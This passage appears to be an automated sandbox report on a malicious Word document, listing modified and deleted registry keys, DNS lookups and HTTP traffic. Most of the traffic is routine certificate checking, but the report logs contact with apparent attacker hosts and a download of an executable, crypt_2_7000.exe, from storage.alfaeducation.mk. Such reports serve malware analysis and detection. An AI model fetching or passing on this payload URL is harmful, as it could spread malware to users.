  2192. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Webdings",
  2193. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Wide Latin",
  2194. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Wingdings",
  2195. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Wingdings 2",
  2196. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Wingdings 3",
  2197. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\NextUpdate",
  2198. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\LastUpdate",
  2199. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\NextUpdate",
  2200. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\LastUpdate",
  2201. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Toolbars\\Settings\\Microsoft Word",
  2202. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Reading Locations",
  2203. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Reading Locations\\Document 0",
  2204. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Reading Locations\\Document 0\\File Path",
  2205. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Reading Locations\\Document 0\\Datetime",
  2206. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Reading Locations\\Document 0\\Position",
  2207. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Data\\Settings",
  2208. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Options\\BackgroundOpen",
  2209. "HKEY_CURRENT_USER\\Software\\Microsoft\\VBA\\7.1\\Common\\PropertiesWindow",
  2210. "HKEY_CURRENT_USER\\Software\\Microsoft\\VBA\\7.1\\Common\\MainWindow",
  2211. "HKEY_CURRENT_USER\\Software\\Microsoft\\VBA\\7.1\\Common\\MdiMaximized",
  2212. "HKEY_CURRENT_USER\\Software\\Microsoft\\VBA\\7.1\\Common\\Dock",
  2213. "HKEY_CURRENT_USER\\Software\\Microsoft\\VBA\\7.1\\Common\\FolderView",
  2214. "HKEY_CURRENT_USER\\Software\\Microsoft\\VBA\\7.1\\Common\\Tool",
  2215. "HKEY_CURRENT_USER\\Software\\Microsoft\\VBA\\7.1\\Common\\CtlsShowSelected",
  2216. "HKEY_CURRENT_USER\\Software\\Microsoft\\VBA\\7.1\\Common\\DsnShowSelected",
  2217. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\MTTF",
  2218. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\MTTA",
  2219. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Feedback\\AppUsageData_1"
  2220. ]
  2221.  
  2222. [*] Deleted Registry Keys: [
  2223. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Resiliency\\StartupItems\\<u%",
  2224. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\CacheReady",
  2225. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\LastRequest",
  2226. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\LastUpdate",
  2227. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\NextUpdate",
  2228. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Resiliency\\StartupItems\\?m#",
  2229. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457475",
  2230. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457515",
  2231. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM04033937",
  2232. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM04033919",
  2233. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocParts\\1033\\TM03998159",
  2234. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM04033927",
  2235. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457464",
  2236. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM10001105",
  2237. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocParts\\1033\\TM03998158",
  2238. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Resiliency\\DocumentRecovery\\1F49F2\\1F49F2",
  2239. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\MTTT"
  2240. ]
  2241.  
  2242. [*] DNS Communications: [
  2243. {
  2244. "type": "A",
  2245. "request": "crm.theberriesblog.com",
  2246. "answers": [
  2247. {
  2248. "data": "23.96.39.148",
  2249. "type": "A"
  2250. }
  2251. ]
  2252. },
  2253. {
  2254. "type": "A",
  2255. "request": "apps.identrust.com",
  2256. "answers": [
  2257. {
  2258. "data": "192.35.177.64",
  2259. "type": "A"
  2260. },
  2261. {
  2262. "data": "apps.digsigtrust.com",
  2263. "type": "CNAME"
  2264. }
  2265. ]
  2266. },
  2267. {
  2268. "type": "A",
  2269. "request": "storage.alfaeducation.mk",
  2270. "answers": [
  2271. {
  2272. "data": "23.101.123.81",
  2273. "type": "A"
  2274. }
  2275. ]
  2276. }
  2277. ]
  2278.  
  2279. [*] Domains: [
  2280. {
  2281. "ip": "23.101.123.81",
  2282. "domain": "storage.alfaeducation.mk"
  2283. },
  2284. {
  2285. "ip": "23.96.39.148",
  2286. "domain": "crm.theberriesblog.com"
  2287. },
  2288. {
  2289. "ip": "192.35.177.64",
  2290. "domain": "apps.identrust.com"
  2291. }
  2292. ]
  2293.  
  2294. [*] Network Communication - ICMP: []
  2295.  
  2296. [*] Network Communication - HTTP: [
  2297. {
  2298. "count": 1,
  2299. "body": "",
  2300. "uri": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom%2FnYB45SPUEwQU5Z1ZMIJHWMys%2BghUNoZ7OrUETfACEAi4elAbvpzaLRZNPjlRv1U%3D",
  2301. "user-agent": "Microsoft-CryptoAPI/6.1",
  2302. "method": "GET",
  2303. "host": "ocsp.digicert.com",
  2304. "version": "1.1",
  2305. "path": "/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom%2FnYB45SPUEwQU5Z1ZMIJHWMys%2BghUNoZ7OrUETfACEAi4elAbvpzaLRZNPjlRv1U%3D",
  2306. "data": "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom%2FnYB45SPUEwQU5Z1ZMIJHWMys%2BghUNoZ7OrUETfACEAi4elAbvpzaLRZNPjlRv1U%3D HTTP/1.1\r\nCache-Control: max-age = 89056\r\nConnection: Keep-Alive\r\nAccept: */*\r\nIf-Modified-Since: Fri, 22 Mar 2019 18:30:24 GMT\r\nIf-None-Match: \"5c9529c0-1d7\"\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: ocsp.digicert.com\r\n\r\n",
  2307. "port": 80
  2308. },
  2309. {
  2310. "count": 1,
  2311. "body": "",
  2312. "uri": "http://ocsp.msocsp.com/MFQwUjBQME4wTDAJBgUrDgMCGgUABBRPC1vZt9qvn7bzY3Iidtbhla4mKQQUWIif1tycSCK3FD7%2FhIjo5oX%2F%2Bn0CE3sAAGyvV14%2FmEPDgh0AAAAAbK8%3D",
  2313. "user-agent": "Microsoft-CryptoAPI/6.1",
  2314. "method": "GET",
  2315. "host": "ocsp.msocsp.com",
  2316. "version": "1.1",
  2317. "path": "/MFQwUjBQME4wTDAJBgUrDgMCGgUABBRPC1vZt9qvn7bzY3Iidtbhla4mKQQUWIif1tycSCK3FD7%2FhIjo5oX%2F%2Bn0CE3sAAGyvV14%2FmEPDgh0AAAAAbK8%3D",
  2318. "data": "GET /MFQwUjBQME4wTDAJBgUrDgMCGgUABBRPC1vZt9qvn7bzY3Iidtbhla4mKQQUWIif1tycSCK3FD7%2FhIjo5oX%2F%2Bn0CE3sAAGyvV14%2FmEPDgh0AAAAAbK8%3D HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nIf-Modified-Since: Sat, 23 Mar 2019 17:46:18 GMT\r\nIf-None-Match: \"dd54d75d4688b8dc62b087df4e04af258704c48b\"\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: ocsp.msocsp.com\r\n\r\n",
  2319. "port": 80
  2320. },
  2321. {
  2322. "count": 1,
  2323. "body": "",
  2324. "uri": "http://apps.identrust.com/roots/dstrootcax3.p7c",
  2325. "user-agent": "Microsoft-CryptoAPI/6.1",
  2326. "method": "GET",
  2327. "host": "apps.identrust.com",
  2328. "version": "1.1",
  2329. "path": "/roots/dstrootcax3.p7c",
  2330. "data": "GET /roots/dstrootcax3.p7c HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: apps.identrust.com\r\n\r\n",
  2331. "port": 80
  2332. },
  2333. {
  2334. "count": 1,
  2335. "body": "",
  2336. "uri": "http://www.download.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab",
  2337. "user-agent": "Microsoft-CryptoAPI/6.1",
  2338. "method": "GET",
  2339. "host": "www.download.windowsupdate.com",
  2340. "version": "1.1",
  2341. "path": "/msdownload/update/v3/static/trustedr/en/authrootstl.cab",
  2342. "data": "GET /msdownload/update/v3/static/trustedr/en/authrootstl.cab HTTP/1.1\r\nCache-Control: max-age = 86402\r\nConnection: Keep-Alive\r\nAccept: */*\r\nIf-Modified-Since: Fri, 22 Feb 2019 16:53:13 GMT\r\nIf-None-Match: \"80e22c19cfcad41:0\"\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: www.download.windowsupdate.com\r\n\r\n",
  2343. "port": 80
  2344. },
  2345. {
  2346. "count": 1,
  2347. "body": "",
  2348. "uri": "http://storage.alfaeducation.mk/file/crypt_2_7000.exe",
  2349. "user-agent": "Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)",
  2350. "method": "GET",
  2351. "host": "storage.alfaeducation.mk",
  2352. "version": "1.1",
  2353. "path": "/file/crypt_2_7000.exe",
  2354. "data": "GET /file/crypt_2_7000.exe HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nAccept-Language: en-us\r\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\r\nHost: storage.alfaeducation.mk\r\n\r\n",
  2355. "port": 80
  2356. },
  2357. {
  2358. "count": 7,
  2359. "body": "",
  2360. "uri": "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl",
  2361. "user-agent": "Microsoft-CryptoAPI/6.1",
  2362. "method": "GET",
  2363. "host": "crl.microsoft.com",
  2364. "version": "1.1",
  2365. "path": "/pki/crl/products/microsoftrootcert.crl",
  2366. "data": "GET /pki/crl/products/microsoftrootcert.crl HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nIf-Modified-Since: Thu, 07 Mar 2019 06:00:16 GMT\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: crl.microsoft.com\r\n\r\n",
  2367. "port": 80
  2368. },
  2369. {
  2370. "count": 1,
  2371. "body": "",
  2372. "uri": "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl",
  2373. "user-agent": "Microsoft-CryptoAPI/6.1",
  2374. "method": "GET",
  2375. "host": "crl.microsoft.com",
  2376. "version": "1.1",
  2377. "path": "/pki/crl/products/microsoftrootcert.crl",
  2378. "data": "GET /pki/crl/products/microsoftrootcert.crl HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: crl.microsoft.com\r\n\r\n",
  2379. "port": 80
  2380. },
  2381. {
  2382. "count": 4,
  2383. "body": "",
  2384. "uri": "http://crl.microsoft.com/pki/crl/products/MicCodSigPCA_08-31-2010.crl",
  2385. "user-agent": "Microsoft-CryptoAPI/6.1",
  2386. "method": "GET",
  2387. "host": "crl.microsoft.com",
  2388. "version": "1.1",
  2389. "path": "/pki/crl/products/MicCodSigPCA_08-31-2010.crl",
  2390. "data": "GET /pki/crl/products/MicCodSigPCA_08-31-2010.crl HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nIf-Modified-Since: Thu, 14 Feb 2019 06:01:18 GMT\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: crl.microsoft.com\r\n\r\n",
  2391. "port": 80
  2392. },
  2393. {
  2394. "count": 9,
  2395. "body": "",
  2396. "uri": "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl",
  2397. "user-agent": "Microsoft-CryptoAPI/6.1",
  2398. "method": "GET",
  2399. "host": "crl.microsoft.com",
  2400. "version": "1.1",
  2401. "path": "/pki/crl/products/microsoftrootcert.crl",
  2402. "data": "GET /pki/crl/products/microsoftrootcert.crl HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nIf-Modified-Since: Wed, 22 May 2019 05:00:43 GMT\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: crl.microsoft.com\r\n\r\n",
  2403. "port": 80
  2404. },
  2405. {
  2406. "count": 3,
  2407. "body": "",
  2408. "uri": "http://crl.microsoft.com/pki/crl/products/MicrosoftTimeStampPCA.crl",
  2409. "user-agent": "Microsoft-CryptoAPI/6.1",
  2410. "method": "GET",
  2411. "host": "crl.microsoft.com",
  2412. "version": "1.1",
  2413. "path": "/pki/crl/products/MicrosoftTimeStampPCA.crl",
  2414. "data": "GET /pki/crl/products/MicrosoftTimeStampPCA.crl HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nIf-Modified-Since: Sat, 16 Feb 2019 02:02:49 GMT\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: crl.microsoft.com\r\n\r\n",
  2415. "port": 80
  2416. },
  2417. {
  2418. "count": 2,
  2419. "body": "",
  2420. "uri": "http://crl.microsoft.com/pki/crl/products/MicrosoftTimeStampPCA.crl",
  2421. "user-agent": "Microsoft-CryptoAPI/6.1",
  2422. "method": "GET",
  2423. "host": "crl.microsoft.com",
  2424. "version": "1.1",
  2425. "path": "/pki/crl/products/MicrosoftTimeStampPCA.crl",
  2426. "data": "GET /pki/crl/products/MicrosoftTimeStampPCA.crl HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nIf-Modified-Since: Fri, 03 May 2019 05:00:32 GMT\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: crl.microsoft.com\r\n\r\n",
  2427. "port": 80
  2428. },
  2429. {
  2430. "count": 1,
  2431. "body": "",
  2432. "uri": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEAPxtOFfOoLxFJZ4s9fYR1w%3D",
  2433. "user-agent": "Microsoft-CryptoAPI/6.1",
  2434. "method": "GET",
  2435. "host": "ocsp.digicert.com",
  2436. "version": "1.1",
  2437. "path": "/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEAPxtOFfOoLxFJZ4s9fYR1w%3D",
  2438. "data": "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEAPxtOFfOoLxFJZ4s9fYR1w%3D HTTP/1.1\r\nCache-Control: max-age = 128165\r\nConnection: Keep-Alive\r\nAccept: */*\r\nIf-Modified-Since: Sat, 23 Mar 2019 11:02:13 GMT\r\nIf-None-Match: \"5c961235-1d7\"\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: ocsp.digicert.com\r\n\r\n",
  2439. "port": 80
  2440. },
  2441. {
  2442. "count": 1,
  2443. "body": "",
  2444. "uri": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSPwl%2BrBFlJbvzLXU1bGW08VysJ2wQUj%2Bh%2B8G0yagAFI8dwl2o6kP9r6tQCEA%2BdzSc7B3UzA8k03selSwo%3D",
  2445. "user-agent": "Microsoft-CryptoAPI/6.1",
  2446. "method": "GET",
  2447. "host": "ocsp.digicert.com",
  2448. "version": "1.1",
  2449. "path": "/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSPwl%2BrBFlJbvzLXU1bGW08VysJ2wQUj%2Bh%2B8G0yagAFI8dwl2o6kP9r6tQCEA%2BdzSc7B3UzA8k03selSwo%3D",
  2450. "data": "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSPwl%2BrBFlJbvzLXU1bGW08VysJ2wQUj%2Bh%2B8G0yagAFI8dwl2o6kP9r6tQCEA%2BdzSc7B3UzA8k03selSwo%3D HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: ocsp.digicert.com\r\n\r\n",
  2451. "port": 80
  2452. },
  2453. {
  2454. "count": 1,
  2455. "body": "",
  2456. "uri": "http://ocsp.pki.goog/GTSGIAG3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBT27bBjYjKBmjX2jXWgnQJKEapsrQQUd8K4UJpndnaxLcKG0IOgfqZ%2BuksCEDoV9Mh%2FtNM5k9Pus79K5eQ%3D",
  2457. "user-agent": "Microsoft-CryptoAPI/6.1",
  2458. "method": "GET",
  2459. "host": "ocsp.pki.goog",
  2460. "version": "1.1",
  2461. "path": "/GTSGIAG3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBT27bBjYjKBmjX2jXWgnQJKEapsrQQUd8K4UJpndnaxLcKG0IOgfqZ%2BuksCEDoV9Mh%2FtNM5k9Pus79K5eQ%3D",
  2462. "data": "GET /GTSGIAG3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBT27bBjYjKBmjX2jXWgnQJKEapsrQQUd8K4UJpndnaxLcKG0IOgfqZ%2BuksCEDoV9Mh%2FtNM5k9Pus79K5eQ%3D HTTP/1.1\r\nCache-Control: max-age = 86400\r\nConnection: Keep-Alive\r\nAccept: */*\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: ocsp.pki.goog\r\n\r\n",
  2463. "port": 80
  2464. },
  2465. {
  2466. "count": 1,
  2467. "body": "",
  2468. "uri": "http://ocsp.comodoca.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBReAhtobFzTvhaRmVeJ38QUchY9AwQUu69%2BAj36pvE8hI6t7jiY7NkyMtQCEDaCXn%2B1pIGTfvbRc2u5PKY%3D",
  2469. "user-agent": "Microsoft-CryptoAPI/6.1",
  2470. "method": "GET",
  2471. "host": "ocsp.comodoca.com",
  2472. "version": "1.1",
  2473. "path": "/MFEwTzBNMEswSTAJBgUrDgMCGgUABBReAhtobFzTvhaRmVeJ38QUchY9AwQUu69%2BAj36pvE8hI6t7jiY7NkyMtQCEDaCXn%2B1pIGTfvbRc2u5PKY%3D",
  2474. "data": "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBReAhtobFzTvhaRmVeJ38QUchY9AwQUu69%2BAj36pvE8hI6t7jiY7NkyMtQCEDaCXn%2B1pIGTfvbRc2u5PKY%3D HTTP/1.1\r\nCache-Control: max-age = 94804\r\nConnection: Keep-Alive\r\nAccept: */*\r\nIf-Modified-Since: Mon, 11 Mar 2019 04:19:13 GMT\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: ocsp.comodoca.com\r\n\r\n",
  2475. "port": 80
  2476. },
  2477. {
  2478. "count": 1,
  2479. "body": "",
  2480. "uri": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSPwl%2BrBFlJbvzLXU1bGW08VysJ2wQUj%2Bh%2B8G0yagAFI8dwl2o6kP9r6tQCEAaJg2QslT5G973OQUPxM8E%3D",
  2481. "user-agent": "Microsoft-CryptoAPI/6.1",
  2482. "method": "GET",
  2483. "host": "ocsp.digicert.com",
  2484. "version": "1.1",
  2485. "path": "/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSPwl%2BrBFlJbvzLXU1bGW08VysJ2wQUj%2Bh%2B8G0yagAFI8dwl2o6kP9r6tQCEAaJg2QslT5G973OQUPxM8E%3D",
  2486. "data": "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSPwl%2BrBFlJbvzLXU1bGW08VysJ2wQUj%2Bh%2B8G0yagAFI8dwl2o6kP9r6tQCEAaJg2QslT5G973OQUPxM8E%3D HTTP/1.1\r\nCache-Control: max-age = 143038\r\nConnection: Keep-Alive\r\nAccept: */*\r\nIf-Modified-Since: Sat, 23 Mar 2019 15:00:07 GMT\r\nIf-None-Match: \"5c9649f7-1d7\"\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: ocsp.digicert.com\r\n\r\n",
  2487. "port": 80
  2488. },
  2489. {
  2490. "count": 1,
  2491. "body": "",
  2492. "uri": "http://ocsp.pki.goog/GTSGIAG3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBT27bBjYjKBmjX2jXWgnQJKEapsrQQUd8K4UJpndnaxLcKG0IOgfqZ%2BuksCEEpXWRnDaZSEY67E8B6coDU%3D",
  2493. "user-agent": "Microsoft-CryptoAPI/6.1",
  2494. "method": "GET",
  2495. "host": "ocsp.pki.goog",
  2496. "version": "1.1",
  2497. "path": "/GTSGIAG3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBT27bBjYjKBmjX2jXWgnQJKEapsrQQUd8K4UJpndnaxLcKG0IOgfqZ%2BuksCEEpXWRnDaZSEY67E8B6coDU%3D",
  2498. "data": "GET /GTSGIAG3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBT27bBjYjKBmjX2jXWgnQJKEapsrQQUd8K4UJpndnaxLcKG0IOgfqZ%2BuksCEEpXWRnDaZSEY67E8B6coDU%3D HTTP/1.1\r\nCache-Control: max-age = 86400\r\nConnection: Keep-Alive\r\nAccept: */*\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: ocsp.pki.goog\r\n\r\n",
  2499. "port": 80
  2500. },
  2501. {
  2502. "count": 1,
  2503. "body": "",
  2504. "uri": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSPwl%2BrBFlJbvzLXU1bGW08VysJ2wQUj%2Bh%2B8G0yagAFI8dwl2o6kP9r6tQCEAaJg2QslT5G973OQUPxM8E%3D",
  2505. "user-agent": "Microsoft-CryptoAPI/6.1",
  2506. "method": "GET",
  2507. "host": "ocsp.digicert.com",
  2508. "version": "1.1",
  2509. "path": "/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSPwl%2BrBFlJbvzLXU1bGW08VysJ2wQUj%2Bh%2B8G0yagAFI8dwl2o6kP9r6tQCEAaJg2QslT5G973OQUPxM8E%3D",
  2510. "data": "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSPwl%2BrBFlJbvzLXU1bGW08VysJ2wQUj%2Bh%2B8G0yagAFI8dwl2o6kP9r6tQCEAaJg2QslT5G973OQUPxM8E%3D HTTP/1.1\r\nCache-Control: max-age = 157989\r\nConnection: Keep-Alive\r\nAccept: */*\r\nIf-Modified-Since: Mon, 17 Jun 2019 15:00:10 GMT\r\nIf-None-Match: \"5d07aafa-1d7\"\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: ocsp.digicert.com\r\n\r\n",
  2511. "port": 80
  2512. },
  2513. {
  2514. "count": 1,
  2515. "body": "",
  2516. "uri": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSnR4FoxLLkI7vkvsUIFlZt%2BlGH3gQUWsS5eyoKo6XqcQPAYPkt9mV1DlgCEAwVvkoVuwkDyQGx1sJlMC8%3D",
  2517. "user-agent": "Microsoft-CryptoAPI/6.1",
  2518. "method": "GET",
  2519. "host": "ocsp.digicert.com",
  2520. "version": "1.1",
  2521. "path": "/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSnR4FoxLLkI7vkvsUIFlZt%2BlGH3gQUWsS5eyoKo6XqcQPAYPkt9mV1DlgCEAwVvkoVuwkDyQGx1sJlMC8%3D",
  2522. "data": "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSnR4FoxLLkI7vkvsUIFlZt%2BlGH3gQUWsS5eyoKo6XqcQPAYPkt9mV1DlgCEAwVvkoVuwkDyQGx1sJlMC8%3D HTTP/1.1\r\nCache-Control: max-age = 108232\r\nConnection: Keep-Alive\r\nAccept: */*\r\nIf-Modified-Since: Fri, 22 Mar 2019 23:50:01 GMT\r\nIf-None-Match: \"5c9574a9-1d7\"\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: ocsp.digicert.com\r\n\r\n",
  2523. "port": 80
  2524. },
  2525. {
  2526. "count": 1,
  2527. "body": "",
  2528. "uri": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom%2FnYB45SPUEwQU5Z1ZMIJHWMys%2BghUNoZ7OrUETfACEA8sEMlbBsCTf7jUSfg%2BhWk%3D",
  2529. "user-agent": "Microsoft-CryptoAPI/6.1",
  2530. "method": "GET",
  2531. "host": "ocsp.digicert.com",
  2532. "version": "1.1",
  2533. "path": "/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom%2FnYB45SPUEwQU5Z1ZMIJHWMys%2BghUNoZ7OrUETfACEA8sEMlbBsCTf7jUSfg%2BhWk%3D",
  2534. "data": "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom%2FnYB45SPUEwQU5Z1ZMIJHWMys%2BghUNoZ7OrUETfACEA8sEMlbBsCTf7jUSfg%2BhWk%3D HTTP/1.1\r\nCache-Control: max-age = 93156\r\nConnection: Keep-Alive\r\nAccept: */*\r\nIf-Modified-Since: Sat, 16 Mar 2019 04:40:45 GMT\r\nIf-None-Match: \"5c8c7e4d-1d7\"\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: ocsp.digicert.com\r\n\r\n",
  2535. "port": 80
  2536. },
  2537. {
  2538. "count": 1,
  2539. "body": "",
  2540. "uri": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBT3xL4LQLXDRDM9P665TW442vrsUQQUReuir%2FSSy4IxLVGLp6chnfNtyA8CEAQJGBtf1btmdVNDtW%2BVUAg%3D",
  2541. "user-agent": "Microsoft-CryptoAPI/6.1",
  2542. "method": "GET",
  2543. "host": "ocsp.digicert.com",
  2544. "version": "1.1",
  2545. "path": "/MFEwTzBNMEswSTAJBgUrDgMCGgUABBT3xL4LQLXDRDM9P665TW442vrsUQQUReuir%2FSSy4IxLVGLp6chnfNtyA8CEAQJGBtf1btmdVNDtW%2BVUAg%3D",
  2546. "data": "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBT3xL4LQLXDRDM9P665TW442vrsUQQUReuir%2FSSy4IxLVGLp6chnfNtyA8CEAQJGBtf1btmdVNDtW%2BVUAg%3D HTTP/1.1\r\nCache-Control: max-age = 149079\r\nConnection: Keep-Alive\r\nAccept: */*\r\nIf-Modified-Since: Sat, 23 Mar 2019 11:10:47 GMT\r\nIf-None-Match: \"5c961437-1d7\"\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: ocsp.digicert.com\r\n\r\n",
  2547. "port": 80
  2548. },
  2549. {
  2550. "count": 1,
  2551. "body": "",
  2552. "uri": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom%2FnYB45SPUEwQU5Z1ZMIJHWMys%2BghUNoZ7OrUETfACEAiIzVJfGSRETRSlgpHeuVI%3D",
  2553. "user-agent": "Microsoft-CryptoAPI/6.1",
  2554. "method": "GET",
  2555. "host": "ocsp.digicert.com",
  2556. "version": "1.1",
  2557. "path": "/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom%2FnYB45SPUEwQU5Z1ZMIJHWMys%2BghUNoZ7OrUETfACEAiIzVJfGSRETRSlgpHeuVI%3D",
